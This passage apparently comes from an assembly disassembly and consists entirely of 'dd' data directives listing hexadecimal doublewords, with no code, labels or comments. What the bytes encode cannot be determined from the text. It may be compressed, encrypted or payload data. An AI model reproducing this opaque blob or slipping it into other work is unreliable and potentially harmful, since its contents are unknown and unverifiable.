9B9B0069h, 0E03F3B5Bh, 1BA40B53h, 4080F260h, 6744EF25h dd 7CD6D512h, 30370C70h, 22D203BDh, 6837A9Bh, 0F08A0DD1h dd 0F712E867h, 1000BBAEh, 0D49339EFh, 0CD6200C8h, 42CB8183h dd 351C3666h, 99C0D1BCh, 442D8FC9h, 84B5009Ch, 0CA63CC75h dd 0C40096DCh, 0B25B03D0h, 1EE26B5Ah, 0F2C90Bh, 4D0928A8h dd 0F3907B39h, 0DF5D9F00h, 31D47030h, 0C3C03E3Bh, 807AB11Ch dd 8CF88D99h, 0A028D383h, 0BC03F475h, 7D199ACEh, 0D956A006h dd 1A6D0C12h, 0F9206E88h, 9DD5800h, 373FECCEh, 67F601A6h dd 0D4D16298h, 0F7A46007h, 71018719h, 0C0C47330h, 0EA950E7Fh dd 7BC94C9Dh, 0E58E080h, 0F2002511h, 84A82D1Ah, 7DCE0Ah dd 0FE956983h, 0BA48F03Dh, 4744Dh, 551B0826h, 0EA400F9Ah dd 0AA980F71h, 1E002AA4h, 44138728h, 3AE41F12h, 8AEA2902h dd 40A460A0h, 3899000Bh, 90FE7EFCh, 5400F8F6h, 7D0A936Ah dd 1EE176ADh, 0C0E458FAh, 0DB1E5189h, 0CA033C20h, 7953158Eh dd 8B4D996Dh, 0D4D0CDF9h, 0BFBD2894h, 8C7B03B4h, 9E56FB05h dd 632FC0E0h, 0A578E77Dh, 8D4F1E07h, 5B91D3A6h, 0A8C1D1D8h dd 0E4D0FE8h, 1F90FB43h, 80A09E9Ch, 0E71EB42h, 0B0392B7Fh dd 0A4040051h, 8A6DDB33h, 197900F6h, 9BAA0757h, 27072C3Ah dd 488BBD52h, 3726A6D0h, 38D46FF3h, 0D8966FC1h, 6198C319h dd 0CF071E0Eh, 3D7B1C93h, 885B2AD3h, 0BD6DE7h, 560CF804h dd 0A371B1B2h, 0E5C3448h, 80A1A22Fh, 419280E4h, 0A580BC1h dd 8CA01357h, 0ECF3367h, 0AFE007ECh, 0CB2957Dh, 0D1370101h dd 2936E19Ah, 3B008C28h, 0C53DFA2Ah, 0B2006A3Eh, 28C1487Fh dd 6023A79Eh, 80B9BAC8h, 1A01CE54h, 7F9DCA25h, 0DECC68C7h dd 3820079h, 61261C37h, 0FA02C08Bh, 6AF12F08h, 72F0C8F2h dd 800C9437h, 0A253A01Ah, 0B6E8B01Bh, 0A80D7C4Ah, 0F3E01818h dd 8011CF82h, 870ADE05h, 0FB9B80DCh, 0FA18A6F8h, 22589C31h dd 0F3EA0655h, 0E10A53AFh, 4751A378h, 0BE12EC3Ch, 0EA6D2A00h dd 0D088B646h, 89EF0005h, 4BA3DF8Fh, 0E5009DE0h, 0FCBEF20Ah dd 50F12908h, 74206Ch, 9D2C9F49h, 8D20D6EAh, 2206ADE8h dd 0A85D8F26h, 287303A8h, 901D0A46h, 2F7BD807h, 0AFCF075Ah dd 2A79A04Bh, 6F16F1h, 0E2240CF7h, 65101950h, 0C7077500h dd 1D8D6473h, 0C0907FD3h, 38978F18h, 257C3A28h, 948ABE03h dd 20CE16Fh, 0E6074C39h, 0D6C03C6Dh, 9718F7B1h, 0A9306287h dd 34FD0004h, 0E63EEFE5h, 18D86547h, 8072D340h, 63788B3Dh dd 1A05B41Eh, 0D7EFB102h, 7C030F5Dh, 60E621B0h, 227FA100h dd 85E53269h, 181C6630h, 3C3C09F9h, 886E3004h, 0C088D16Fh dd 1D084651h, 0C2604CF3h, 36FE7D1h, 1924063Ch, 411BD49Dh dd 2A9A5E01h, 6566CC58h, 0ED0E48BEh, 0E1636C7Fh, 6D881D28h dd 0FAF816F5h, 859FB01Fh, 600C348Dh, 1C446000h, 0E8C9053Ah dd 1C3D556h, 0DB73E0F3h, 1654E80Fh, 828B7200h, 15A2AA36h dd 0A6760042h, 0B6F72093h dd 603ECA10h, 0D3C29EAFh, 4454CE00h, 50D697h, 6170B572h dd 0B69FA1Fh, 0BD1A3900h, 0E58035FDh, 0A1AD011Dh, 9093B2D3h dd 0FCE3D44Bh, 0B907ECE4h, 0DE24F385h, 0DFE54593h, 0A0098452h dd 4B02049Ch, 3CC70EF5h, 0C28132D6h, 20459977h, 84A06C7Dh dd 6200C48Ch, 0E68A1A7Bh, 139D0C9h, 0ED9E0B72h, 80B378FDh dd 0E7847C28h, 54030CC2h, 65A07Eh, 52992974h, 67CC27EEh dd 32AD81Fh, 3D918D80h, 30075337h, 0ED3072C4h, 5C3FA91Ah dd 0A113877Dh, 0D240ECD6h, 0CF98BDCh, 0AD0E8A52h, 0D3042921h dd 46337C43h, 0E336D5C0h, 0A2C60052h, 8E9C6FDAh, 4B38B088h dd 930C000Bh, 7DCF9A29h, 0EC64EA58h, 0E148C3A6h, 0A901301h dd 0A30FFACDh, 621AE5C7h, 40D99705h, 0D52917h, 92E46DBFh dd 20EEC4C5h, 99018A1Bh, 64FD9089h, 3151C0A7h, 651B2F34h dd 786F2001h, 0FC078DEDh, 4699DF4h, 6B1CDD4h, 0D0F4C07Ah dd 220083F9h, 0EC80E6A9h, 24F0C58h, 81F4E817h, 0CAC0A0FBh dd 57392EC1h, 0CCB500BCh, 809CBABDh, 22C007A5h, 305B3606h dd 37775F7h, 0D97D7203h, 0E0371B8Eh, 13CD121h, 584C7E54h dd 8C79C317h, 38112220h, 3E6A0EADh, 0EE83D354h, 1100A9BFh dd 0CE7FC20Dh, 33192E32h, 0DA097E58h, 3A6D2100h, 6587EB70h dd 0AE630F8Ch, 0FEA12660h, 80574538h, 0A9A37459h, 7D9DDCD6h dd 6DD5330Eh, 21000B08h, 9AA99B16h, 3E06D358h, 748E8925h dd 7C035B48h, 0D0010A96h, 529A57D8h, 38805439h, 0C7E9311Eh dd 0A0723A5h, 91BBF6Eh, 1F212B46h, 80E8C8FBh, 65FE21F8h dd 9D600CACh, 5141DFA0h, 4224034Ah, 6C7571C9h, 0F333CEF8h dd 0A790D905h, 0E580277Bh, 3F8AA3Dh, 5A7809E5h, 0ECE9839Eh dd 52F2E04Bh, 9C063C3Dh, 63801A8Fh, 168C1F73h, 0FDA701AFh dd 0B7CEC969h, 8470D0A6h, 82564D00h, 30AEEA01h, 77C6027Fh dd 8B344026h, 0E69967E0h, 0AD23C500h, 10805081h, 0CB7D00E5h dd 6C2EA90h, 41E87460h, 3835500h, 2EE3C415h, 68845C0Dh dd 0DFB3CA07h, 0D4052063h, 0E5008BFDh, 531C2338h, 58334202h dd 3E0C8734h, 840845Bh, 77E06500h, 0EC5A6452h, 86FA095Fh dd 420FDBADh, 28C5040h, 0D100D715h, 0C0C90C4Ah, 0CEBFDAEh dd 4064E39Ah, 0B476ED58h, 2072DD30h, 1CE5F347h, 40EB8160h dd 3D135E0Bh, 9302932h, 1E37B848h, 59DD1E41h, 525C00C5h dd 94EEA811h, 2A044E1Dh, 551928C0h, 18ED6E06h, 6C965BC6h dd 5F0029B8h, 0EE828ECFh, 749181Eh, 466D9116h, 4BDA7098h dd 2E03AF8Fh, 7D40F4B7h, 5680A7CDh, 1EED3E9h, 0B38E570Bh dd 98B54E62h, 9221E408h, 86EE00FBh, 8B0A504h, 76005CF7h dd 231306BFh, 8EC8DAh, 1EEA5E18h, 0D1C1D693h, 7BE3D200h dd 0D92EA9D8h, 7848D980h, 4D51842h, 7E57B9EEh, 20E332B0h dd 1FEEFD90h, 176DF900h, 0A627E772h, 8A101F2Eh, 0CC480C7h dd 0F4C956ACh, 0A3657906h, 111AF6Ch, 0D50D084Fh, 0D8F2B114h dd 0ED7A212Dh, 55218360h, 15D0D10h, 0F5B24871h, 80E0A820h dd 524FC0C0h, 0C9CBE2h, 0C74D04BAh, 0C865760Ch, 466084F0h dd 35A51710h, 0CB7A0E1Ch, 24007E51h, 0A1DA5DFCh, 4681A900h dd 577C7758h, 0D10F00D4h, 0BAC5E54Bh, 87EABCD2h, 30513E07h dd 2A50E328h, 0A548C6h, 315712EBh, 0D3A8CD23h, 54C98F18h dd 0A756F140h, 1B748604h, 0B900105Eh, 190E4B2Ch, 3C0671A0h dd 119D5608h, 74CC0087h, 0EBC6E05h, 1495B928h, 8621D542h dd 3D821110h, 0C80E0FF6h, 9CBD8801h, 46DA0BFh, 9CE20FDh dd 0B1358040h, 550075F4h, 66E9FEDBh, 179C5D04h, 0BBAD1Ch dd 7EA8CE94h, 0F500A47Dh, 0E3797349h, 0D114D0h, 0AA57896h dd 76CAD32Ah, 5EE0F403h, 3977BD98h, 0FA075CF1h, 6094FE4Ch dd 9DE4DB83h, 0A19AB900h, 81F0DFD9h, 7972070Ah, 0B00C7055h dd 0C25C876Fh, 10C4D8E3h, 8077DA38h, 9001D2B9h, 0EF2A8A6h dd 26944834h, 85FED9E3h, 0A06920C7h, 5D786735h, 959D3B00h dd 0E4578645h, 9492058Ch, 8A728Bh, 0A8BF78E9h, 0FB0144B3h dd 9728B56Eh, 0DEC40AEBh, 0CF270636h, 0C0D7D091h, 9D056800h dd 89787609h, 7549000Ch, 0C18F5CE2h, 97072BC2h, 0E3F956A2h dd 47F46F81h, 0A8086C1h, 2BDE1959h, 8A0B179Ch, 80D87035h dd 8FAE2DEDh, 89710069h, 6134810Fh, 0FB001AFFh, 201239AFh dd 0D4D54h, 5F3F452h, 4B7E53E0h, 75006AE4h, 95C418C2h dd 4A9F55h, 9466CF39h, 0FE5E4C21h, 0A2836F00h, 3ACA4B78h dd 25D30026h, 5B477DD4h, 0EF00D681h, 0F9CCB250h, 6EF6CAh dd 4209065Ch, 52FC6AA0h, 4CB4AD58h, 80903EA2h, 0A5F4F21Fh dd 3E34B268h, 93D8440Eh, 0B56F4D00h, 54CF6D84h, 5F40ED00h dd 2D7F1631h, 9CBD50BCh, 0F07C17B7h, 1833007Bh, 43FE622Ah dd 774A8A00h, 31D464EFh, 0F6C60014h, 881D13ABh, 903DB99Bh dd 0B7E0002Eh, 6E0EE8BDh, 91CC00C2h, 1AE90978h, 30985E13h dd 56E1B600h, 1207FFBDh, 7D7400AAh, 8B23BE3Dh, 4A0066AFh dd 0A32B4F83h, 4C49DEBAh, 0E00083F9h, 79609559h, 72FE1244h dd 782750C0h, 0A0B424C2h, 17B8ADBh, 39DE05Dh, 0E4B87117h dd 0DB755705h, 89625F00h, 0B1268340h, 19ED3BCAh, 85AB2900h dd 0CD3C5DDAh, 68B8C300h, 0AF383AD4h, 73000CFh, 8C3D2941h dd 403B076h, 7AE61B5Ah, 92BBCCh, 42895510h, 5E2FE83Bh dd 0DBB68801h, 90B1B3ECh, 53B2C0h, 0C2D5F173h, 0FAA8CAF5h dd 0E2316003h, 0AA48F923h, 0E380F58Bh, 13521D6Dh, 11334000h dd 0F10A251Fh, 0DECD0h, 0FCBE022Bh, 0E8EDCFEh, 41859700h dd 0E89ABA05h, 1F149014h, 148AB712h, 0A100973Eh, 0B39827E4h dd 0CA3DC0E2h, 307F8043h, 5CD8B297h, 0AEDE006Ah, 76051C4h dd 9901734Ah, 48C030ECh, 95709179h, 0BB600FDh, 8944F126h dd 9400AB84h, 345A4D3Eh, 0AE775Ch, 0EE1CC5E8h, 1B97FDBDh dd 0F8C7CB00h, 5A966DB6h, 81A500ADh, 9DBE89DBh, 97001265h dd 0B5B984Eh, 50F938E9h, 0ED7EE90h, 2BB84895h, 0C361DB65h dd 29FB0A19h, 47A31001h, 24A74FCh, 723075E0h, 0E23600D1h dd 0E1CAE93Dh, 7C003E7Fh, 0E34A922Ah, 1E4B5DD4h, 3FC105Ah dd 0DC43EF82h, 0D2631FB2h, 567FA790h, 794C1700h, 63A0BEF4h dd 981E002Fh, 0EE4E85CCh, 93FC312Ah, 87280D00h, 0E05BD9C2h dd 0C720009Bh, 2CC671AAh, 0E83FC50Bh, 749F0058h, 8BFE51C3h dd 9DECE7B3h, 125F004Ch, 3E7ADFE9h, 0E5007871h, 225AF4E6h dd 50F33Dh, 0ED0B6EDBh, 90C37BBDh, 6B846500h, 3E4F4D3Fh dd 0A51C0377h, 13B82980h, 0D3C4F024h, 0EFEE7E00h, 0DD0B98h dd 14E9E006h, 0AB7C87C0h, 280E8D1Fh, 6F5401FFh, 1E6601B2h dd 3B03E130h, 4C80B704h, 521C385h, 2400417Dh, 52A338CAh dd 899EA8h, 0FB7E43CEh, 65739097h, 0ADEFB60Fh, 1B26A3C9h dd 0A02FBB83h, 0B3053h, 59E4A1Fh, 904FA87Bh, 0ADDC8407h dd 80393702h, 0D43EEC37h, 0E3D6007Eh, 311A168Ch, 0DD005832h dd 97FF08C0h, 7E771128h, 490500F8h, 2BEC83C9h, 0C9C0BD30h dd 982C86D3h, 0B45F009Bh, 0DA358502h, 891ECC68h, 6380D52Fh dd 0BAFBFEB8h, 8E7501B0h, 6E10D225h, 3876604Dh, 3BC3FA1Dh dd 0D74A2240h, 0A0F1F80Dh, 2113A2BCh, 9780BB21h, 4259B04Fh dd 2EA8288Bh, 1C90B8h, 0CB1093CDh, 0D08DE5D6h, 87FCC000h dd 0BA488C22h, 365E141Ah, 0DC00B9B9h, 60E06ED1h, 8000DAD0h dd 0F8B7AE08h, 0EB7332h dd 6DDEC5F3h, 0B92D8C6Eh, 7F4C7700h, 0C9A434Dh, 50AB0083h dd 0B071ADF3h, 6AF439CCh, 0F2E81800h, 84C66872h, 0D9F000C8h dd 0CA95B64Ah, 9B1E7669h, 2807918h, 0F3B5D421h, 0A83A1F71h dd 0C18E4048h, 81B168ABh, 51CCD900h, 445CF091h, 0D1310049h dd 209C55FFh, 0DF006DA4h, 81236CACh, 0ECFBB4Fh, 0F0F97C59h dd 0CCD296C0h, 7E1688C5h, 9C00E8D8h, 2418F78Ch, 78BB2CEEh dd 0E17400CBh, 59B9DD6Fh, 0C7434A00h, 9BAAA381h, 9FEC0190h dd 98F755CFh, 0FEC50B2h, 0C4001F9Ah, 2EC86CC7h, 0EDC911h dd 729DF594h, 9C70C0C1h, 0A6A82A1Eh, 10AA49C0h, 3979E4E6h dd 0A4C88DB9h, 0FD89628h, 29C31E0Eh, 3DECF2CAh, 0A9550F80h dd 9C6F841Ch, 4A6D700h, 0BCB6D670h, 0E9BF00A2h, 6CC0ECADh dd 73000558h, 0A95B7ECBh, 0B0CED220h, 80DB4826h, 81D54900h dd 92EB6229h, 30EE9E01h, 0F60A3BDDh, 0E2D420C5h, 0F86C37D2h dd 7E90B078h, 0DC00A30Ch, 0BF7E17Bh, 7120B3h, 7038FA72h dd 54073AAh, 0A32C2B00h, 3E93FFADh, 4A8E0396h, 8B6B4323h dd 55C19F83h, 69D8C045h, 7B672600h, 0CF0BE982h, 0B3250E46h dd 0D080D19Eh, 626BC5E4h, 64004C7Eh, 6168E543h, 79BD9BEBh dd 25F6009Ch, 0C5D65D49h, 0A5045231h, 40986AB3h, 0E942A8C0h dd 0F65F0006h, 69568668h, 0DE585344h, 3543002Ch, 7EA5986Dh dd 11390095h, 7889BE03h, 0AF036A1Ch, 3E9152A2h, 0FF8E8084h dd 340F02B6h, 5DF2DC5Bh, 8BC13040h, 0DB0FD00h, 0C2359B0Ch dd 12CB09Fh, 6444FC94h, 0D8B6DF4Ch, 700286Eh, 231CEFC0h dd 0B8A8E0ADh, 3CD5036Ch, 0BE162C53h, 0E541AEB0h, 5D0A38h dd 4059F897h, 0F6BDCCh, 266E09B4h, 0C0BF0ACh, 0AA2C17F4h dd 0B8004459h, 0E3866119h, 20A860A1h, 58352890h, 460D661Fh dd 7A502480h, 166B6Fh, 11080D9h, 15299EC0h, 6593F600h dd 0AC4344E7h, 91F000A0h, 8A18339Ah, 88380A31h, 0F75B807Ch dd 0E05E752h, 0B409056Ah, 80C84A5Eh, 0C13A6880h, 2F0EF7E8h dd 20016386h, 0AAFC44DAh, 7099074Ah, 0D016EDC2h, 28AF858Fh dd 3B932A00h, 64B5435Eh, 0DF2D0058h, 156D9416h, 880283D9h dd 13396BDEh, 28D481CDh, 0E6D4CBA7h, 76CA00D5h, 7DF4F34Eh dd 78004601h, 0F19C7B83h, 92BFAFC3h, 983859D4h, 5641BE00h dd 0F32A7647h, 8FC8A001h, 6DC5FC25h, 775AC8h, 3B7E7D3h dd 725359B4h, 0AEA11900h, 48765E08h, 8C9258DDh, 4467D907h dd 13904C2Ch, 6F6FF126h, 596A3D01h, 1880D34Dh, 55B2E6B3h dd 11CF1D16h, 0C5001746h, 11B75AF6h, 0F4EC009Ch, 0FAEBE8AAh dd 0D167CCEh, 0AF4603h, 6413B913h, 38C2B4BDh, 0A0F26D8Eh dd 495E0A80h, 70D200FFh, 0B21D2B65h, 6701C009h, 87AAF950h dd 5160FA96h, 0E4780A6Ah, 694603Ch, 0C008D159h, 6E718E00h dd 0B9D17F2h, 0A51B3A15h, 0EA8A103Ah, 3974B1AAh, 803D4AA1h dd 5361B216h, 77E46h, 0F0965B29h, 45A3FDA9h, 8F62E803h dd 0A0A02CF6h, 485822EEh, 61001FD4h, 1F92BCD3h, 0C90051CAh dd 0DAC3ACA3h, 0F7F19Dh, 0A2033B31h, 59E4EC4Eh, 0DBFD1401h dd 718D5001h, 6E52E681h, 0C8D87269h, 62F21D5Dh, 0DCDDA701h dd 0DA4FAB63h, 0E0808C50h, 17F73A96h, 9AB4A6h, 5E843CB2h dd 0FE0043D7h, 0BD6B5F88h, 0FDF5857Ah, 667C1C41h, 0FC77E8D7h dd 7B2700F0h, 0E8E74C0Dh, 5508676h, 63076C80h, 0CE66E087h dd 0DA03CC50h, 30F56D12h, 0C9AFF020h, 96256E00h, 7A69395Bh dd 8CC40089h, 3860C857h, 1931E7D0h, 30D631F2h, 183CAC50h dd 0B0961ED4h, 0AB64857Ah, 119F8004h, 71186031h, 1FA03C43h dd 88C400F1h, 34CFE7BBh, 0C60028B3h, 0A4FBB1E2h, 7CF25270h dd 39F40Dh, 3ACF78Bh, 0BCAEF58Dh, 29058800h, 95061B7Bh dd 7CC0E7A8h, 3273F41Ah, 0FE11FDCAh, 95180494h, 0F6100350h dd 6D7C05h, 5AFA6896h, 0DAE87986h, 8061600h, 0B569F795h dd 73F3198Ah, 10EE296Eh, 8BFB88h, 4162915Dh, 36CAAA85h dd 2F342E1Eh, 94A84C80h, 46F982h, 0F4E23332h, 0B9BAFF7Fh dd 14835607h, 0ECC0F384h, 0B48A0Bh, 0A5E47B51h, 0A409DF61h dd 0E372E700h, 1F107033h, 203600F4h, 0F05150F7h, 0FD00D828h dd 4983FEDAh, 0D07A2h, 0C7D26770h, 0C26E8E89h, 3A48BB00h dd 92DFF08Ah, 9FE700BEh, 628D4ED2h, 71E46702h, 0C931D000h dd 0DC7473C4h, 45830007h, 40B7CCDDh, 5100FA8Bh, 1AF0025Eh dd 0E8A686Dh, 7FC6F43Fh, 4B9D5060h, 0F50219A3h, 0C78E005h dd 35B08003h, 51CE92h, 5D55C92Dh, 5F2E6B02h, 47C48600h dd 0FDBBE6FAh, 0A37A0059h, 8C6C9D75h, 1900AD7Bh, 0B9C9B039h dd 0A3F2A20h, 46BFDF66h, 0C16C1C9Ch, 528C1E36h, 0D4617002h dd 0EC200A00h, 770C535Bh, 411A00BBh, 0F604AF73h, 7E3A6185h dd 8087BC9Bh, 943D7210h, 24F50F88h, 0BCA140h, 4CDDCB54h dd 3009C7B9h, 602243FBh, 0CF5FEAh, 7B4F7601h, 74FCE68Ah dd 0E48DB300h, 7C1C395h, 6DFB0070h, 9C9B056Ah, 59F87749h dd 0A914F900h, 0C4728580h, 0B930FE7h, 98A0781Ch, 7E5F07F3h dd 0BF2BDB1Dh, 47AC9h, 0DEA3040h, 44D40088h, 1B862098h dd 4E48F75Dh, 0CD920E77h, 0F51C8040h, 1CBDC43Eh, 803527D9h dd 8BA14496h, 0C8007E31h, 2D25D6F3h, 7D5A85h, 0AE0762EDh dd 9069371Eh, 0A3C5C706h, 218D5E0h, 0FFA06786h, 40D75D17h dd 727FFAh, 5495E6BBh, 0ECAAD469h, 0D59C9207h, 0BF000984h dd 6E53A82h, 9083D67Bh, 6A0048DBh, 0EEEF12FFh, 0CB1DE3Eh dd 5234A6E5h, 7768CD9h, 0D1411400h, 0B6F1AD22h, 9053006Dh dd 29DF54FCh, 790045DDh, 71FB2361h, 659556h, 8ABF069Bh dd 0F629E01h, 8B586800h, 67FEE175h, 7A0A80D3h, 61885B21h dd 0F8D632FBh, 0A500BCC4h, 0D4FA92F4h, 147B522h, 8679A1BAh dd 805B2D11h, 0E5FEDF30h, 0C056FA59h, 6399CF10h, 0A40F6DD5h dd 874E5D0Dh, 2EF0C35Ch, 2DF0924h, 703C1025h, 24617D59h dd 34EAF088h, 39DE7E00h, 2F625E64h, 0C43A3DABh, 1A1F8280h dd 0D3C230E7h, 63360C0Fh, 0F450E047h, 8673DDh, 0A72C3F0Dh dd 4399E006h, 0F109D0Ch, 2F9077h, 8BFA5F1Ah, 0F419F2A2h dd 266AD400h, 47D97A67h, 3DF90F8Ch, 0DF20BD74h, 0AC53D169h dd 81611600h, 2515B087h, 0B81800CDh, 0CB964FFFh, 50489C2Ch dd 80C23DE8h, 6D57420Ah, 0AB1238h, 0AA4AD360h, 2B2A4C1h dd 4FBCA3Dh, 2131BBE2h, 74339CD0h, 773200E3h, 303EC93Ah dd 5007913h, 592755E7h, 0CD38702h, 26D7F932h, 1C38FE10h dd 23289367h, 53181C04h, 2773C0D1h, 0D7F07C21h, 5D3000Bh dd 41CBD237h, 8D001C69h, 67B4E3B8h, 79A0E7h, 7A589754h dd 0BF510CC6h, 0E3BB9109h, 7F84204Fh, 8B5544h, 0FD165B41h dd 0AA8ABA6Dh, 0FCA25207h, 0C9600A25h, 0F2B56361h, 2F3607FAh dd 7AB3C54Dh, 464801B4h, 0FC0475F4h, 0C603AA88h, 2C4F8A16h dd 88989B22h, 0F2F7DDFh, 0FE99455Fh, 7B8800D2h, 49C1562Ch dd 5B545500h, 971FAB5h, 50E0024Eh, 88298EAh, 0C8541449h dd 1D0068A0h, 6692556Dh, 3BEAD7h, 6FA50B50h, 965170F4h dd 0BC56131Fh, 0F2A44080h, 4AB5AFh, 162078A8h, 0AE47D043h dd 0C76C3A02h, 40628AD7h, 0FBAD49h, 1F99167Ah, 4CF3E7F0h dd 0A2EF7400h, 0D2871EF6h, 0D87F1E09h, 80627CC5h, 4B006834h dd 0E29B84h, 0E3E53902h, 483605Bh, 0BC592301h, 9F6C4448h dd 188E54F9h, 0E1008B7Ch dd 40E7AF4Ah, 99D0EF00h, 1B06220Ch, 0DE5C3B44h, 0A611F881h dd 311A9A30h, 818010D4h, 4C05098Fh, 15F7A9F6h, 25FAA000h dd 36DF458h, 5F685E1Ah, 4D807663h, 73033E3Bh, 25CDB12Bh dd 0F516B86Fh, 91DF00EEh, 0C5BDDB56h, 0B40072BFh, 0E12CEBB8h dd 1B89ECh, 8101D7FDh, 6C56A454h, 23DA0B00h, 0A512B3F8h dd 8B9C0184h, 0F34FC426h, 6CC0856Ah, 0C48582DEh, 8AC0FE80h dd 35EE0055h, 0B5BCBA23h, 0DE00CF6Ah, 93DCF29Fh, 8F039Ah dd 0CA51B10Bh, 491DB2Bh, 2DC25802h, 4817B538h, 7B6394h dd 0A4C5678Bh, 0F65FAEF4h, 0B78EDF00h, 0DA40EF06h, 0B4DB0081h dd 506FF3A2h, 0D107963Ah, 28385BF5h, 8AEDF260h, 27120124h dd 44B0C7DEh, 6DD7FC3Fh, 6F41D609h, 7C0C805Ch, 0B3EEF2Eh dd 12491965h, 6DF970A0h, 7000FF41h, 0B1A85F02h, 602DE6DAh dd 0C83520B5h, 0AF4CE823h, 0A81063D0h, 0B145F822h, 0C26100E7h dd 3624E16h, 0C7723612h, 8323980Fh, 8ED20040h, 385B1A9h dd 6A7B7F9Ch, 500F34DCh, 0E395C087h, 0A0CA9FD5h, 0BAB8FD60h dd 85FE3DB0h, 3687FA6h, 3284E7FCh, 4286EAA0h, 107BDD24h dd 6E156500h, 3EEB6FFh, 43E568A2h, 0B48192B8h, 5B98DBFAh dd 0B707F8F3h, 5442AA3h, 8C039E50h, 89280FCFh, 0A9E0E22Eh dd 4E2FB957h, 0F7AC9500h, 53AA9893h, 0C5ED0050h, 11A9106Ch dd 0EFEB712h, 0FDF38D07h, 3490BF14h, 50F2F4h, 72710BCFh dd 8720DFB9h, 1AB03300h, 0C9EB228Fh, 815D1C11h, 7B5DC0h dd 7D81348h, 58005765h, 0A6E23B9h, 6CF9FC9h, 8B12DB0Fh dd 0E13EC8Fh, 7C408265h, 0A00DE36Ah, 47FD1h, 0FC9A6685h dd 0A157ADEh, 840998A8h, 7D318360h, 1A21F0Dh, 8DE0FC85h dd 307CC76Eh, 1007FEDh, 6FBD9E8h, 0D56373Ah, 0AB668642h dd 7AC1750h, 0B6D67716h, 9C00117Fh, 351944E5h, 0FEDC2140h dd 0AF08C93Fh, 0CDBC9840h, 0E24D4407h, 9705D86h, 0E32EB8DAh dd 91D0F042h, 51807AD8h, 480CF83Ah, 0F1014294h, 76C02F0Eh dd 79EDB088h, 0C19BF5C4h, 977B3490h, 1DC8BEEAh, 0FDDF2559h dd 0D7D4151Fh, 44E08050h, 8CD83512h, 1BDB044h, 7F4744C8h dd 83DA6ECEh, 67199891h, 0DFC1A018h, 8AFF06F3h, 70D01FE2h dd 96008D7Bh, 0D7FACC1Eh, 0B00B6548h, 0DDF0080h, 7EAC4AA9h dd 6307F52Fh, 9712C5E8h, 8F84F193h, 0EA95D650h, 68AE0046h dd 17154947h, 1C0039DBh, 14DD98CFh, 0EFD70Eh, 8A17F7Ah dd 0E08A8578h, 7C0C3D00h, 3A2C3693h, 55970082h, 6F2039F2h dd 29025A6Ch, 5FF63492h, 841BE078h, 417100B4h, 0C71523E0h dd 0D00E7DBh, 57546D1Ch, 0C07EE4E5h, 0BDD67340h, 5078CAF1h dd 88306C0Bh, 0A865F92h, 517720D9h, 0CD3879F2h, 3310056h dd 5DB44FE0h, 90AF0013h, 0DDFCF9C8h, 2806FEA8h, 0D54BA4D9h dd 0E8810770h, 0C0FF546Ch, 0BF7B14Eh, 0EED7C900h, 0D38575BAh dd 0D85F068Ah, 485AB331h, 0BAD2F426h, 0C3618307h, 362DFF80h dd 0E171E6h, 85432A53h, 3C696862h, 91815501h, 41E6D63Bh dd 0E0F2A883h, 0D96362E7h, 0C5FAB58h, 56858248h, 2390BD18h dd 8AC29300h, 46A4E2FCh, 0B8E830h, 72550E9Dh, 0AACF88ACh dd 29F50102h, 0E0CEBFA3h, 19B1E9Dh, 881CC965h, 0E48FB0B2h dd 0AF7C9EAAh, 49411CAh, 0A3F17161h, 4EA61080h, 87B85E24h dd 72F77600h, 2B8EBCDDh, 591B0052h, 0F3757BB1h, 6B3F2F65h dd 678080E0h, 32228D4Ah, 0EEFB003Eh, 96E7E62Eh, 56075AEBh dd 0B5FEEAE4h, 9DE8D120h, 925E0080h, 0A12022CAh, 0BDF60C57h dd 0D339F51Ch, 0A2D09900h, 182D3677h, 30D71E08h, 20078CB4h dd 0FE4903Bh, 8DE82CA0h, 714B1DE3h, 2EAAC035h, 0C61F7CC3h dd 7400F1FCh, 0EC5BD2E0h, 37F6BDFh, 6D08DABCh, 33D1FA9Bh dd 2088D51Ah, 92049912h, 0CA91105Eh, 80AFB5C0h, 0A84EAACh dd 81149DD5h, 51C08094h, 557ADB4h, 54410460h, 209FB24Bh dd 0CF01162Ch, 0C3ACB80Dh, 1DFC5BD4h, 0E59C4495h, 97C4FB00h dd 7990DEFEh, 115900DAh, 9C889542h, 660093D6h, 6F9F6731h dd 4A3F10h, 61F36B77h, 0B1AAC819h, 2C1D707h, 0A7701B64h dd 4E8F939h, 0C2F273E0h, 326C8055h, 4601012Eh, 0D9F9724h dd 0A880628Eh, 6D654F3h, 120F912Fh, 0C0F873BAh, 0AE0CFFF0h dd 569400DBh, 0BF35CC9Dh, 5A00D317h, 9A0107D4h, 91D068h dd 0EB788728h, 0AEC02679h, 8E948300h, 97BBB941h, 85A40188h dd 0C66DC2A6h, 3EB5D84Fh, 0D5041000h, 30EB2CCEh, 37D70067h dd 1655F79Fh, 31038526h, 80AB17A9h, 8165D870h, 0D21F00A7h dd 2ECDDEE5h, 0AAB89C4Ch, 0FF799607h, 33421955h, 45F5E067h dd 0B15E3DD5h, 594EFB80h, 32B796C8h, 0CA2BD600h, 0E281BA63h dd 31F498C3h, 0A980ED0Bh, 898DDCCDh, 2C00B790h, 0D5C56508h dd 22B79h, 0B99DDC7Dh, 0A3FD0EDh, 8C9848h, 892F3849h, 9A1F9Fh dd 96995020h, 7DFE152Eh, 52C61903h, 0F14F16Fh, 0E8D9DB10h dd 23C0C01Dh, 6E883E1Dh, 2EBBA500h, 0F28BAF31h, 0D4FC004Eh dd 0B834429Dh, 1B00337Ah, 0C3F689C9h, 0B8824986h, 0BC60005Ch dd 0EC2E58EEh, 1F0ACF6Eh, 584AD236h, 0EB5DBF0Ah, 0C783718h dd 16A20041h, 4ED86068h, 0C601B5D0h, 0A3F991C4h, 0F424BEEDh dd 9C754CF2h, 57AC1807h, 5E608F87h, 450CC865h, 342DFC01h dd 5CBA8567h, 0E5F7C4ECh, 61556C0h, 0A2A932E5h, 0F1007026h dd 5BC58443h, 26D0EC7Bh, 0BA249305h, 0C111BF00h, 7580D870h dd 6E3C5000h, 2FE22917h, 0C7BE00B3h, 611234D1h, 86C0A180h dd 2896A4C2h, 0AA790032h, 97CB2D2Ch, 0D400B7E4h, 8894E664h dd 70AD1E48h, 79C10008h, 900D5356h, 0FD0261B2h, 0E393D9EDh dd 0DE4C68CDh, 27BB0013h, 789FCC47h, 1601D4B6h, 0D06B6581h dd 0C5FCB8AFh, 545F0014h, 1C0F12DDh, 4500B3A6h, 0D55BDEC9h dd 0E71B9Ch, 868AB74Bh, 6CED5725h, 0B6933907h, 16208932h dd 10F4C8Eh, 0EAB79062h, 702D6C64h, 0C90E1CEBh, 0A7FD893Dh 